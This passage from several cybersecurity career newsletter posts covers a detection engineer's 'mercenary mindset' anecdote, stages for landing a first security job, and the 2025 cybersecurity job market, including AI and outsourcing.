However, I was then temporarily reassigned to a team focused on cloud workload detection. Think Linux systems, container activity, and Kubernetes clusters.

This was less familiar territory.

I could have hesitated.

Could’ve waited to get trained up.

But mercenaries don’t (can’t) ask the terrain to change. They adapt to it.

Within one quarter, I developed a structured onboarding framework for new engineers, enabling them to write agent-based and rule-based detections for cloud workloads.

I mapped out common attacker behaviors, data sources, and detection strategies. I didn’t just ramp myself up. I reduced the ramp-up time for everyone who came after me.

Then I was handed a noisy detection for Network Utilities Executed in a Container. It triggered constantly. False positives everywhere. Most engineers would suppress it through exclusion-based detection filters.

Instead, I decomposed it into multiple high-fidelity detections.

• One focused on curl or wget used for data exfiltration

• Another focused on command-line requests containing suspicious URIs

This approach eventually surfaced real-world threats, including a live PyPI supply chain attack, which abused the curl utility to send data to an attacker-controlled infrastructure.

That detection wouldn’t have been possible without decomposing the original alert into something sharper and more intentional.

I documented the full methodology. I turned that one fix into a repeatable process that others could apply across other detections.

I wasn’t the loudest person in the room. I wasn’t the most senior engineer (in fact, I was the most junior engineer).

But I delivered the signal where there was noise.

That’s mercenary execution.

Mercenary Execution

Sometimes, Mercenaries Move Fast Because They Love the Fight

Here’s the part we don’t talk about enough.

Some people move like mercenaries, not because they’re forced to.

Not because they want recognition or the money.

Not because they’re trying to impress someone.

Some people move like mercenaries because they love the work.

They love the hunt. The build. The pressure. The challenge of untangling complex security problems and delivering sharp, effective solutions.

That’s me. And if you’re reading this, it’s probably you, too.

The reason I could build a runbook, script, and close an investigation all in one day wasn’t just because it needed to be done. It was because I enjoyed the challenge.

I liked the problem.

I was locked in.

When I stepped into an unfamiliar domain, such as Linux and container detection engineering, it wasn’t just about adapting. It was about embracing the opportunity to grow and build something useful.

I liked being in the arena. I enjoyed making the messy stuff make sense.

When you love the work, you don’t wait for direction. You move.

• You build things no one asked for because you know they’re needed.

• You care deeply about getting it right, not for applause, but because you find joy in the process.

Loving the work is the cheat code. It’s the engine behind sharp execution, fast iteration, and long-term growth.

It’s what turns “extra work” into meaningful craft.

The Mercenary Playbook

This mindset isn’t about breaking rules or ignoring process.

It’s about having a bias toward action and a habit of excellence.

It looks like:

• Prioritizing outcomes over checkboxes

• Owning the gray areas no one else wants to touch

• Building tools, docs, and workflows that outlive your tenure

• Learning just enough to ship, and then learning some more to keep iterating

• Executing with precision, not waiting for someone to tell you to

Ask Yourself

• What’s a broken process or detection flow that you could fix this week?

• What uncomfortable space have you been avoiding because it’s unfamiliar?

• What would happen if you stopped waiting for permission and started executing with conviction?

Final Thoughts

The mercenary mindset is not about ego or chaos.

It’s about precise, repeatable, decisive execution.

It’s about leaving things better than you found them.

And it’s about loving the mission enough to keep showing up, even when no one’s watching.

You don’t need to be the most senior. You don’t need a fancy title.

You need to be the one who gets things done.

Cyberwox Resources

Resources for your career

🔹Join the Cyberwox Academy Discord!!

🔷 Check out the episodes of the Cyberstories Podcast on your favorite platform

🔹Cyberwox Cybersecurity Notion Templates for planning your career

🔹Cyberwox Best Entry-Level Cybersecurity Resume Template

🔹Learn AWS Threat Detection with my LinkedIn Learning Course

Closing

Once again, you made it this far :)

Feel free to reply, share your thoughts, or pass this on to someone who needs it.

Thanks for reading. If you'd like, you can subscribe and restack - it helps spread the word and encourages me to continue writing content. If not, I’ll see you around…somewhere on the internet!

I've applied to hundreds, if not thousands, of jobs so far, and I certainly didn't get most of them; in fact, I was rejected from most of them, which is entirely normal.

Most of the jobs I’ve had have been obtained through referrals and my network, rather than through applications, but that’s a topic for another day.

The thing is this: with each rejection, I learned something new, like an area of interviewing that I could improve upon or a skill set that I was missing, and with each application, I became a better and better candidate, landing various jobs, including my current one as a Security Engineer at Amazon.

About Me

If you're new here, I'm Day, a Cybersecurity Engineer at Amazon. With five years in cybersecurity, my experience covers Detection Engineering, Cloud Security, Incident Response, Threat Hunting, and most recently, Threat Intelligence.

Before Amazon, I worked at Datadog as a cloud threat detection engineer, where I researched cloud threats and built detections for various cloud providers and SaaS applications.

I've worked my way up from various SOC analyst roles, investigating everything from endpoint threats to building detection systems for cloud-based abuse, so I know exactly what it takes to break into this field and make career advancements.

I started, just like many of you, learning from scratch, asking questions, and figuring it out one step at a time. And now, I'm here to help you do the same.

If you want to stay up-to-date on the cybersecurity industry and everything technical and career-related, be sure to like and subscribe to the newsletter for more content like this.

Join a vibrant cybersecurity community of over 6,000 people who are constantly engaging in conversations and supporting one another, covering topics from cybersecurity and college to certifications, resume assistance, and various non-professional interests like fitness, finance, anime, and other exciting subjects.

Join Us!

My Personal Experience and Advice

I'd like to start by sharing with you my experience of applying to a bunch of jobs, combined with my years of experience working in the cybersecurity industry and exposure to lots of colleagues, recruiters, and hiring managers, so that I can give you my take on how you should apply for cybersecurity jobs, depending on how much relevant experience you have.

For each stage, I'll focus solely on the most critical aspects, such as having a strong resume, an irresistible portfolio, the right technical and problem-solving skills, and an optimized LinkedIn profile, as these will serve as a good baseline to start from.

That’s when your career starts to gain direction.

Please note that I use 'Stage' and 'Level' interchangeably for the remainder of this newsletter.

Level One: No Relevant Experience and No University Degree

Let's start with Stage One, where you have no relevant experience, no university degree, and no cybersecurity certification.

I'm not going to lie; this is a very challenging starting position, but if you're truly determined to become a cybersecurity professional, there are several steps you can take to achieve your goal.

Your number one priority should be to gain hands-on, relevant experience.

Depending on your age, I recommend pursuing different activities.

Say, if you're in high school, and you don't want to go to or cannot go to college for whatever reason, you could apply for apprenticeships or training programs available at your school.

These programs are typically designed for students nearing the end of high school, such as those in 11th or 12th grade, or for those who have recently graduated from high school. Most large corporations offer similar programs.

The names of these programs might differ by country, state, or the program itself; they might be called apprenticeships or training programs, but the idea is the same:

• To allow you to develop your skills

• Get real-life experience

• Get paid enough at the same time

Even if you don't go for a specific cybersecurity apprenticeship program, as long as you work with technology, systems, or networks as part of the role, you should be fine.

You could use these programs as a stepping stone to accelerate your journey to become a full-time cybersecurity professional at a very young age.

Now, if you're not in high school and you've been stuck in another job that you don't like and are super interested in data analytics, I'd recommend focusing on

• Learning the technical skills required

• Getting well-known and knowledge-dense certifications

• Building a strong portfolio to showcase your skills

• Writing a great resume

• Optimizing your LinkedIn profile (more on this later in the newsletter).

I’ve already created video guides on how to optimize your LinkedIn profile and write a resume, as well as various cybersecurity portfolio projects, where I go through everything in detail.

However, as a quick summary, I'd start by learning the basics through the CompTIA Trifecta curriculum, then pursue a program like the Google Cybersecurity Certificate or Microsoft Cybersecurity Certificate, and finally decide on the path you want to take.

You can choose either the Offensive or Defensive side of Cybersecurity. Then, I recommend completing labs, projects, and certifications to reinforce this.

You can also learn a programming language of your choice. I'd personally recommend Python.

In terms of certifications, I can primarily speak to defensive ones, so you can opt for well-known ones, such as the BTL1 from Security Blue Team, the CCD from CyberDefenders, or the CDSA from HackTheBox.

I’ve made several videos about these certifications on my channel.

For offensive security, based on a conversation with my friend Tadi, who’s an Offensive Security Engineer, you can go for certifications like the eJPT from eLearn Security, the PNPT from TCM Security, or the OSCP from Offensive Security.

You can watch more about how he got into offensive security, just like me, without a college degree.

I have already put together a cybersecurity learning framework that you can review at the end of this newsletter.

I've personally gone through everything at this stage because I got into cybersecurity as a college freshman without a degree, so I can relate to this, and I believe others can too. If you're currently teaching yourself cybersecurity while in college or another situation, feel free to share your feedback in the comments below.

I'm sure we'd all appreciate hearing your thoughts and insights.

Level Two: No Relevant Experience, But Have a University Degree

Moving on to stage two, where you still lack relevant experience but have a college degree. Here, depending on whether you just graduated, are about to graduate, or graduated over three years ago, I would approach applying for jobs differently.

If you're about to graduate or are a recent graduate, focus on applying to graduate job programs designed for those in their final year of higher education or recent graduates.

While you probably won't find a cybersecurity-specific graduate program, getting into a program that helps you develop technical skills would be ideal.

I know several people who transitioned into cybersecurity this way; it often makes the process easier.

Graduate job programs are beneficial because they typically involve placements lasting six to twelve months and include rotations that provide valuable experience. This allows you to work in various teams and departments, helping you determine what you want to do by learning what you don't want to do.

If you graduated a while ago, pursued something else, traveled, or life led you in a different direction, and now you want to pursue a career in cybersecurity, I recommend focusing on the cybersecurity roadmap, your resume, portfolio, and certifications outlined in Stage One.

Also, highlight your degree, especially if you studied relevant fields such as computer science, cybersecurity, IT, or Information Systems, or took courses related to cybersecurity.

Level Three: Some Relevant Experience

Let's move on to stage three, where you have some relevant job experience.

For example, in your current role, you handle Identity and Access Management and work with endpoints or vulnerability scanners daily, or you might be involved in governance, compliance, or similar areas.

You may not be performing advanced cybersecurity tasks, but you're actively working within the security field.

For instance, if you're a systems administrator managing user access controls, your duties may differ from those of a cybersecurity analyst; however, you still utilize tools to manage user privileges and create reports for IT meetings and presentations.

This is valuable experience to highlight at the top of your resume.

However, since you're applying for a cybersecurity role, emphasize the security aspects of your work that support system integrity rather than just your general IT skills.

Network management skills are essential and necessary in cybersecurity; however, since they are not the primary focus for recruiters and hiring managers, don't place them at the top of your resume.

Instead, showcase how well you understand the security implications of user permissions and how effectively you can communicate security threats using data to a non-technical audience, rather than your overall communication skills or IT reporting abilities.

Level Four: Plenty of Relevant Experience

Finally, level four, where you have substantial relevant experience and are looking to transition into cybersecurity by applying the skills you've gained throughout your career.

Let's use a specific scenario, based on personal experience, to demonstrate how you can apply your existing skills to cybersecurity. I

I have coached someone who worked as a systems administrator, managing various systems, networks, and security protocols daily.

Their focus was on identifying potential vulnerabilities in the network, managing access controls, ensuring security protocols were in place, and reviewing network packet captures using Wireshark for analysis.

Although the role was not explicitly cybersecurity-named, the skills they developed over the years were highly applicable to cybersecurity tasks, such as reviewing system logs for anomalies or intrusions, implementing security measures, and developing strategies to mitigate threats.

If you're in a similar position where your skills are transferable to cybersecurity, I would highlight this relevant work experience at the top of your resume.

Concluding Advice and Encouragement

Now, this is probably the most crucial advice, whether you have no experience or a lot, it's not to give up.

It may sound cliché, but the difference between successful and less successful people isn't really their ability to succeed; it's their ability to bounce back from defeat, failures, and rejections, to work hard, and to improve and grow.

I’ve been rejected over a hundred times, maybe even over a thousand, and the first rejection really hurt, so did the second, the tenth, and the hundredth.

Of course, these rejections affected me; it was a sad, frustrating, and discouraging experience.

I thought, "This is not fair; I'm clearly doing my best as an entry-level candidate. I've got the certificates, the projects, everything," but that was definitely the wrong mindset.

The moment I stopped dwelling on the rejections and started analyzing why I was rejected and how I could improve so it wouldn't happen again, everything changed.

I focused, pushed through, and worked tirelessly. It's this work ethic, the countless hours of learning, the days spent alone in my room, forgoing pleasures, building and sharpening my skills, that landed me my job and helped me grow quickly.

Don't dwell on the past; live in the present, and focus on the future. Another thing I’ve learned is to stop comparing myself to others; I'm just trying to do my absolute best and be a good person.

Everything I've achieved since leaving Nigeria at age 14 has come through my hard work and the grace of my Lord and Savior, Jesus Christ, and I am truly proud of it.

I hope you can take inspiration from my experience and continue moving forward.

Remember, it's not success that defines you. It's your ability to bounce back from failures that truly shapes who you are.

Recent Content

A few publications I’ve released recently.

Building A Cyber Threat Intelligence Career with Nigel Boston | EP 26

Chatting with Nigel Boston, who is a Senior Cyber Threat Intelligence Professional. Nigel has built and led threat intelligence programs that reduce incident response times, operationalize threat intelligence, and automate workflows to help teams focus on what matters: staying ahead of the threat curve.

In this episode, we discuss how Nigel discovered cyber threat intelligence and carved a path into the field, what core security skills make a difference in Cyber Threat Intelligence, and how threat intelligence intersects with detection engineering, cloud security, and even AI.

We also dive into the future of threat intelligence, the rise of actionable intelligence, and his new course, Cyber Threat Intelligence Fundamentals, with Ellington Cyber Academy (ECA), which is a game-changer for anyone looking to break into the space.

We’ve also had Kenneth, the founder of ECA, in EP 10, so definitely be sure to check that out.

Whether you're new to cybersecurity or looking to elevate your threat intelligence, this conversation is packed with clarity, strategy, and real-world wisdom.

Quick side note: This episode was filmed in November 2024, so you can expect to see me with shorter hair.

Cyber Stories Podcast

Cyber Threat Intelligence with Nigel Boston | EP. 26

Chatting with Nigel Boston, who is a Senior Cyber Threat Intelligence Professional. Nigel has built and led threat intelligence programs that reduce incident response times, operationalize threat intelligence, and automate workflows to help teams focus on what really matters: staying ahead of the threat curve…

Listen now

10 months ago · Day Johnson

Detection-In-Depth

A guest post on THOR Collective Dispatch!

Also featured on the tl;dr sec newsletter issue #282 under the blue team section, and as a Detection Engineering Gem in issue #112 of the Detection Engineering Weekly Newsletter!

I explore the mindset of detection-in-depth, which is first a play on the existing “defense-in-depth” concept, outlining a strategy where defenders aim to catch adversaries across every stage of their attack, not just during initial access.

It walks through:
- Why detection-in-depth means catching adversaries at every stage, not just the first or somewhere in the middle.
- The importance of tuning OOTB rules for the context and uniqueness of your environment
- How precision and not just coverage make alerts more effective

This one’s for security engineers, IR folks, and anyone who’s ever looked at an alert and thought, “This could be better.”

THOR Collective Dispatch

Detection-In-Depth

Detection-in-depth is an evolution of the classic cybersecurity principle known as defense-in-depth. Defense-in-depth means that no single security control can fully protect an environment—instead, multiple layered defenses must work together to slow down, detect, and ultimately stop adversaries…

Read more

a year ago · 26 likes · Day Johnson

Career Quest: Cybersecurity Careers with Day Johnson

I had the pleasure of sitting with students from my Alma mater (WGU) and sharing with them about Cybersecurity career pathways.

Getting Your First CYBERSECURITY Job - College, Certifications & Work Experience

The YouTube version of this post!

Closing

Once again, you made it this far :)

Feel free to reply, share your thoughts, or pass this on to someone who needs it.

Thanks for reading. If you'd like, you can subscribe and restack - it helps spread the word and encourages me to continue writing content. If not, I’ll see you around…somewhere on the internet!

On one hand, the global shortage of cybersecurity professionals remains a pressing issue.

According to Cybersecurity Ventures, there are 3.5 million unfilled cybersecurity positions worldwide, a number that has persisted since 2021.

In the U.S. alone, nearly 470,000 cybersecurity job openings were reported between May 2023 and April 2024.

On the other hand, specific traditional roles are experiencing a decline.

Job postings for Security Engineers and Security Analysts have decreased by approximately 25% from 2022 to 2024.

This decline is attributed to factors such as automation, outsourcing, and the evolving nature of cybersecurity threats.

About Me

If you're new here, I'm Day, a Cybersecurity Engineer at Amazon. With five years in cybersecurity, my experience covers Detection Engineering, Cloud Security, Incident Response, Threat Hunting, and most recently, Threat Intelligence.

Before Amazon, I worked at Datadog as a cloud threat detection engineer, where I researched cloud threats and built detections for various cloud providers and SaaS applications.

I've worked my way up from SOC analyst roles, investigating everything from endpoint threats to cloud-based abuse, so I know exactly what it takes to break into this field.

I started just like many of you—learning from scratch, asking questions, and figuring it out one step at a time. And now, I'm here to help you do the same.

If you want to stay up-to-date on the cybersecurity industry and everything technical and career-related, be sure to like and subscribe to the newsletter for more content like this.

Join a vibrant cybersecurity community of over 6,000 people who are constantly engaging in conversations and supporting one another, covering topics from cybersecurity and college to certifications, resume assistance, and various non-professional interests like fitness, finance, anime, and other exciting subjects.

Join Us!

The Impact of AI on Cybersecurity Roles

Now, let's dive into this issue by first understanding the impact of AI on cybersecurity operations.

Automation and Augmentation

Artificial Intelligence (AI) is revolutionizing cybersecurity operations.

AI systems are now capable of analyzing vast amounts of data, detecting anomalies, and responding to threats in real-time.

For instance, AI can process up to billions of data points daily, significantly enhancing threat detection and similar capabilities.

However, this innovation is a double-edged sword.

While it increases efficiency, it also reduces the demand for entry-level roles focused on routine cybersecurity tasks.

Conversely, there is a growing need for professionals who can architect, manage, and oversee AI-driven systems, interpret complex data, have a deep understanding of cyber threats, and make informed strategic decisions.

The Rise of Outsourcing in Cybersecurity

Globalization of Cybersecurity Services

Outsourcing has also become a significant trend in cybersecurity.

Organizations are increasingly turning to Managed Security Service Providers (MSSPs) and Security Operations Center as a Service (SOCaaS) to handle their security needs.

This shift is driven by factors such as cost-effectiveness, access to specialized expertise, and the need for 24/7 monitoring.

While outsourcing offers benefits to organizations, it also affects job opportunities for cybersecurity professionals.

There's a growing emphasis on roles that require professionals who can bridge the gap between outsourced services and organizational objectives.

Economic Factors Influencing the Cybersecurity Job Market

Budget Constraints and Strategic Investments

Economic pressures are also influencing how organizations allocate resources to cybersecurity.

While overall spending on cybersecurity continues to grow, there is a shift toward strategic investments in people, technologies, and services that offer the highest return on investment.

This includes AI-driven solutions, cloud security, and advanced threat detection systems.

Regulatory Compliance and Risk Management

Additionally, international regulatory requirements are becoming more stringent and, quite frankly, more expensive, compelling organizations to invest in compliance and risk management.

This trend is creating demand for professionals skilled in Governance, Risk, and Compliance (GRC), as well as those who can navigate complex regulatory landscapes.

In fact, there has been a substantial increase in specialized cybersecurity roles focused on data protection and user privacy, particularly in positions such as Privacy Engineering, Data Protection Officers (DPOs), and Privacy Compliance Specialists.

Across various roles, I’ve also experienced legal professionals being embedded in cybersecurity organizations, both product-focused and operationally focused.

These roles have become increasingly critical as organizations navigate complex privacy regulations and consumer data protection requirements.

What Now?

So what does all this mean for you?

You already know that AI is changing the game, but it can’t replace real-world experience.

You can’t prompt your way out of a real-world incident. You can’t ChatGPT your way through a breach when a customer’s data is at risk for a publicly traded company.

What you need is reps. What you need is judgment.

And that’s precisely why DFIR Labs, the sponsor of this issue, stood out to me.

DFIR LABS BY THE TEAM BEHIND THE DFIR REPORT

Gain hands-on access to the type of cyber chaos that no simulation can recreate: with ambiguous enterprise logs, noisy alerts, subtle lateral movement, and the tactics real attackers use when they breach your network. Based on actual intrusion cases grounded in incidents that occurred in the wild, you’ll learn to think like an analyst, not just follow a checklist, and begin to recognize attacker behavior and tradecraft in real telemetry.

Master DFIR with Hands-on Labs

Positioning yourself for success

Alright — now let’s talk about how to position yourself to win in this new cybersecurity world.

1 - Embrace Continuous Learning

If there’s one trait that separates those who thrive in cybersecurity from those who eventually stagnate, it’s an unshakable commitment to continuous learning.

Cybersecurity isn’t just dynamic, it’s also volatile.

The threat landscape doesn’t evolve year to year. It changes by the week, sometimes by the day.

New CVEs drop. New threat actors emerge. Cloud platforms update security models. AI opens doors to both powerful defense tools and new classes of adversarial abuse.

If you’re not consistently sharpening your skills, you’re falling behind.

But here’s the nuance people miss:

Continuous learning isn’t just about earning certs or reading blog posts. That’s important, yes — but it’s not enough.

You need friction. You need context. You need reps.

Because cybersecurity isn’t just a knowledge game, it’s a judgment game.

You don’t just need to know what lateral movement is. You need to recognize it when it’s buried under ten thousand other logs.

You need to know when a misconfiguration is just sloppy infrastructural negligence, and when it’s signaling malicious intent.

That’s how you build instincts. That’s how you learn to investigate under pressure, follow leads, ask better questions, and ultimately become the kind of security professional companies can’t automate away.

2 - Develop Cross-Functional Expertise

A while back, Cybersecurity used to live in a silo.

You had the network engineering people, the developers, the infrastructure teams, and somewhere in a dark corner, the security team that everyone avoided unless something went really wrong.

But in 2025, that model is dead.

Today, cybersecurity is both a business enabler and a cost center.

So if you're not thinking cross-functionally, you’re not thinking strategically.

Gone are the days when your job was monitoring logs, patching systems, or tweaking firewall rules.

That’s table stakes.

Organizations now expect security professionals to operate at the intersection of technology, business, risk, and communication.

Here’s what that means:

• You need to understand how security decisions impact product development

• You need to know how an exploited misconfiguration can affect customer trust and potential revenue.

• You should be able to explain to an executive why an unpatched vulnerability is not just a CVSS score, but could lead to real financial liability.

• And when you’re working in the cloud? Understanding DevOps, CI/CD pipelines, IaC, and cloud-native architecture isn’t a “nice to have.” It’s baseline fluency.

The best cybersecurity engineers I know and I’ve worked with aren’t just technically sharp — they’re also able to walk into a room of stakeholders from engineering, product, legal, and compliance and explain what’s at risk in plain English.

They know when to escalate, when to advise, and when to collaborate.

And let me say this clearly: Being technically brilliant but context-blind will hold you back.

You’ll get overlooked for leadership roles, for strategic projects, even for the kind of work that really moves the needle.

Cross-functional expertise doesn’t mean you have to be an expert in everything.

It means you need to build enough breadth to communicate effectively and enough depth to execute responsibly.

It’s about thinking beyond just systems and endpoints.

It’s about understanding the business and helping protect the entire value chain — from source code to customer experience.

Learn that, and you become indispensable.

3 - Cultivate Soft Skills

Let’s be real — when most people hear “soft skills,” they roll their eyes.

Especially in cybersecurity, where it’s easy to assume the only thing that matters is how technically sharp you are.

Can you reverse engineer malware? Write detections? Secure infrastructure?

That stuff matters and is important. No question. Full stop.

But here’s what a lot of early-career folks don’t realize until it’s too late:

The further you grow in cybersecurity, the more your success depends on your ability to work with people.

Not tools. Not terminals. Not tickets. People.

Soft skills — and I’m talking about honest communication, leadership, and emotional intelligence — are what separate good security engineers from the ones who actually lead initiatives, gain trust, and make strategic impact.

Here’s what cultivating soft skills actually looks like in our field:

1. Being able to walk into a tense post-incident review and clearly explain what happened without throwing anyone under the bus.

2. Communicating risk to leadership in the language they understand by translating technical findings into business impact.

3. Navigating cross-functional friction when the security team is seen as the “department of no” and flipping that perception by being a partner, not a blocker.

4. Mentoring junior engineers & analysts. Holding your team accountable. Knowing how to escalate a threat without creating panic.

These are the moments that make or break trust.

And trust is the currency of cybersecurity.

If your team doesn’t trust you, if your leadership doesn’t listen to you, if your partners tune you out, your technical brilliance won’t matter.

You’ll be ignored. Or worse, replaced.

Now here’s the part most people underestimate:

Soft skills aren’t just about external collaboration.

They’re also about internal regulation.

• Can you stay calm during a high-severity incident?

• Can you manage your time across competing priorities?

• Can you ask for help before burnout takes over?

• Can you receive feedback without getting defensive?

These are human skills.

And cybersecurity, for all the talk about code and exploits and zero-days, is a deeply human field.

We’re dealing with threat actors — humans.

We’re protecting people’s data — humans.

We’re collaborating across teams — again, humans.

So if you want to go far in this field, not just technically, but as someone others want to work with, then don’t just cultivate your knowledge.

Cultivate your character.

That’s what creates longevity. That’s what builds leadership. That’s what keeps you relevant in a space that’s changing faster than ever.

Cyberwox Resources

Resources for your career

🔹Join the Cyberwox Academy Discord!!

🔷 Check out the episodes of the Cyberstories Podcast on your favorite platform

🔹Cyberwox Cybersecurity Notion Templates for planning your career

🔹Cyberwox Best Entry-Level Cybersecurity Resume Template

🔹Learn AWS Threat Detection with my LinkedIn Learning Course

Recent Content

A few publications I’ve released recently.

My Honest Advice On Starting A Cybersecurity Career in 2025 (in less than 5 mins)

Advice from my 5 years of learning, teaching, and working in the cybersecurity industry (in less than 5 mins).

Building a DNS Server with Python - 2 (Parsing The Header)

Second installment of this series, in this case we’re parsing the header.

Detection-as-Code & CI/CD for Detection Engineering with Dennis Chow | Detection Opportunities EP 9

Detection as Code is one of the most importnat evolutions in modern security detection, and in this video, we break it down.

I first encountered this concept as a Cloud Threat Detection Engineer at Datadog. Today, I’m joined by Dennis Chow, a Detection Engineering specialist and author of Automating Security Detection Engineering (which I had the honor of technically reviewing).

Together, we explore what Detection as Code really means and walk through two hands-on CI/CD pipeline demos:

🔹 Lab 1: Building SIEM detections with synthetic AI testing using Sumo Logic

🔹 Lab 2: Policy-as-Code integration testing with Cloud Custodian on GCP.

You’ll learn how Detection as Code leverages Git, automated testing, reproducibility, collaboration, and CI/CD to make detection engineering more scalable, accountable, and reliable.

My Honest Thoughts on the Cybersecurity Job Market in 2025

The YouTube version of this post!

Closing

Once again, you made it this far :)

Feel free to reply, share your thoughts, or pass this on to someone who needs it.

Thanks for reading. If you'd like, you can subscribe and restack - it helps spread the word and encourages me to continue writing content. If not, I’ll see you around…somewhere on the internet!